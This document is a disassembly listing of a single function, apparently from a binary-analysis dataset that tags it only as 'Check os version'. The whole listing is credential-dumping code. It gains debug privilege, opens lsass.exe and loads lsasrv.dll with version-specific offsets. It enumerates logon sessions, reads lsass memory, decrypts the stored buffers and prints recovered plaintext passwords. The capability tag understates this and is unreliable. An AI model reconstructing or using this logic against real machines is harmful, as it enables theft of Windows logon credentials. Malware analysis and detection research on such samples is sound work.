Function at 0x40a840
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x19e0
call fcn.00411250
mov eax, dword [0x41a014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x1994], ecx
mov ecx, dword [ebp - 0x1994]
call fcn.0040b340
cmp eax, 1
je 0x40a87d
push str.EnableDebugPrivilege_fail__
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
add esp, 4
push str.lsass.exe
mov ecx, dword [ebp - 0x1994]
call fcn.0040b050
mov dword [ebp - 0x1998], eax
cmp dword [ebp - 0x1998], 0
jne 0x40a8a1
jmp 0x40ad27
mov dword [ebp - 0x19a4], 0
mov dword [ebp - 0x199c], 0xffffffff
push 0x114
push 0
lea eax, [ebp - 0x348]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x348], 0x114
lea ecx, [ebp - 0x348]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x344], 5
jne 0x40a929
cmp dword [ebp - 0x340], 1
jne 0x40a90a
mov dword [ebp - 0x19a4], 0x24
mov dword [ebp - 0x199c], 0x101
jmp 0x40a927
cmp dword [ebp - 0x340], 2
jne 0x40a927
mov dword [ebp - 0x19a4], 0x1c
mov dword [ebp - 0x199c], 0x102
jmp 0x40a946
cmp dword [ebp - 0x344], 6
jne 0x40a946
mov dword [ebp - 0x19a4], 0x20
mov dword [ebp - 0x199c], 0x100
cmp dword [ebp - 0x199c], 0xffffffff
jne 0x40a97c
mov edx, dword [ebp - 0x340]
push edx
mov eax, dword [ebp - 0x344]
push eax
push str._Undefined_OS_version___Major:__d_Minor:__d_n
call fcn.00406d00
add esp, 0xc
mov ecx, dword [ebp - 0x1998]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40ad27
push str.lsasrv.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x19c0], eax
push 0xe
push 0x41a110
push 0x7fffdddd
mov edx, dword [ebp - 0x19c0]
push edx
mov ecx, dword [ebp - 0x1994]
call fcn.0040b420
mov dword [ebp - 0x19e0], eax
mov ecx, dword [ebp - 0x1994]
call fcn.0040b220
mov dword [ebp - 0x19b0], eax
mov eax, dword [ebp - 0x199c]
push eax
mov ecx, dword [ebp - 0x19c0]
push ecx
mov edx, dword [ebp - 0x1998]
push edx
mov ecx, dword [ebp - 0x1994]
call fcn.0040ad40
push str.Secur32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x19a8], eax
push str.LsaEnumerateLogonSessions
mov eax, dword [ebp - 0x19a8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x19d0], eax
push str.LsaGetLogonSessionData
mov ecx, dword [ebp - 0x19a8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x19d8], eax
push str.LsaFreeReturnBuffer
mov edx, dword [ebp - 0x19a8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x19cc], eax
lea eax, [ebp - 0x19c8]
push eax
lea ecx, [ebp - 0x19d4]
push ecx
call dword [ebp - 0x19d0]
mov byte [ebp - 0x198d], 1
mov dword [ebp - 0x19a0], 0
jmp 0x40aa71
mov edx, dword [ebp - 0x19a0]
add edx, 1
mov dword [ebp - 0x19a0], edx
mov eax, dword [ebp - 0x19a0]
cmp eax, dword [ebp - 0x19d4]
jae 0x40acc3
push 0x1004
push 0
lea ecx, [ebp - 0x198c]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x640
push 0
lea edx, [ebp - 0x988]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x198c], 0x22
mov eax, dword [ebp - 0x19a0]
mov ecx, dword [ebp - 0x19c8]
lea edx, [ecx + eax*8]
mov dword [ebp - 0x19ac], edx
lea eax, [ebp - 0x988]
push eax
mov ecx, dword [ebp - 0x19ac]
push ecx
mov edx, dword [ebp - 0x19cc]
push edx
mov eax, dword [ebp - 0x19d8]
push eax
mov ecx, dword [ebp - 0x1994]
call fcn.0040b2b0
lea ecx, [ebp - 0x19c4]
push ecx
push 0x100
lea edx, [ebp - 0x234]
push edx
mov eax, dword [ebp - 0x19b0]
push eax
mov ecx, dword [ebp - 0x1998]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [ebp - 0x234]
cmp edx, dword [ebp - 0x19b0]
je 0x40ab87
lea eax, [ebp - 0x19c4]
push eax
push 0x100
lea ecx, [ebp - 0x234]
push ecx
mov edx, dword [ebp - 0x234]
push edx
mov eax, dword [ebp - 0x1998]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea ecx, [ebp - 0x224]
mov dword [ebp - 0x19b4], ecx
mov edx, dword [ebp - 0x19b4]
mov eax, dword [ebp - 0x19ac]
mov ecx, dword [edx]
cmp ecx, dword [eax]
jne 0x40ab85
mov edx, dword [ebp - 0x19b4]
mov eax, dword [ebp - 0x19ac]
mov ecx, dword [edx + 4]
cmp ecx, dword [eax + 4]
jne 0x40ab85
jmp 0x40ab87
jmp 0x40ab1c
mov edx, dword [ebp - 0x234]
cmp edx, dword [ebp - 0x19b0]
jne 0x40abcb
push str.Specific_LUID_NOT_found_n
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
add esp, 4
mov ecx, 0xc
mov esi, str.Specific_LUID_NOT_found
lea edi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x3ac]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
jmp 0x40ac89
mov dword [ebp - 0x19b8], 0
mov dword [ebp - 0x19bc], 0
mov edx, dword [ebp - 0x19b4]
add edx, dword [ebp - 0x19a4]
mov dword [ebp - 0x19b8], edx
mov eax, dword [ebp - 0x19b8]
movzx ecx, word [eax + 2]
mov dword [ebp - 0x19bc], ecx
mov edx, dword [ebp - 0x19b8]
mov eax, dword [edx + 4]
mov dword [ebp - 0x19dc], eax
push 0x100
push 0
push 0x41bb48
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x19c4]
push ecx
mov edx, dword [ebp - 0x19bc]
push edx
push 0x41bb48
mov eax, dword [ebp - 0x19dc]
push eax
mov ecx, dword [ebp - 0x1998]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [ebp - 0x19bc]
push edx
push 0x41bb48
call dword [ebp - 0x19e0]
push 0x41bb48
push str.password:__S_n_n
call fcn.00406d00
add esp, 8
push 0x41bb48
push 0x415830
lea eax, [ebp - 0x794]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, 0x190
lea esi, [ebp - 0x988]
lea edi, [ebp - 0x1988]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x198d]
push ecx
push 0x1004
lea edx, [ebp - 0x198c]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x1994]
call fcn.0040a000
jmp 0x40aa62
mov ecx, dword [ebp - 0x1998]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x19c8]
push edx
call dword [ebp - 0x19cc]
mov eax, dword [ebp - 0x19c0]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0x19a8]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [ebp - 0x199c], 0x100
jne 0x40ad27
push 0x415838
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x415850
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004102f6
mov esp, ebp
pop ebp
ret 4